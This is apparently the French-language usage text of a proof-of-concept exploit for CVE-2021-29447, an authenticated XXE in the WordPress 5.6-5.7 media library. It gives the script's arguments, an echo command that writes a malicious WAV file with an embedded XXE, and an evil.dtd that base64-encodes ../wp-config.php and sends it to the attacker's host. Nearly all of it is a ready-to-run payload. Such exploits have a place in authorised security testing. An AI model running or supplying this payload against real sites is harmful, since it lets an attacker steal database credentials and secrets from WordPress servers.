
Exploit de preuve de concept pour CVE-2021-29447 : XXE authentifié dans la bibliothèque multimédia de WordPress 5.6-5.7. Génère un fichier WAV malveillant et un DTD pour lire des fichiers arbitraires du serveur via une exfiltration de données hors bande.
CVE-2021-29447 WordPress 5.6-5.7 - Authentifié (Auteur+) XXE
https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/
utilisation :
-l LHOST exemple : 127.0.0.1 -n NAME exemple : payload.wav -dn DTD_NAME exemple : evil.dtd -r READ exemple : ../wp-config.php
evil-wav-dtd-xxe.py: erreur : les arguments suivants sont requis : -l/--lhost, -n/--name, -dn/--dtd, -r/--read
exemple d'exécution du script :
./evil-wav-dtd-xxe.py -l 127.0.0.1 -n payload.wav -dn evil.dtd -r "../wp-config.php"
[*]Created: evil.dtd
-------------------------------------------------------------------------
-- below commands run in terminal directory: generate the .wav file --
-------------------------------------------------------------------------
echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://127.0.0.1/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
evil.dtd (génération automatique)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://127.0.0.1/?p=%file;'>" >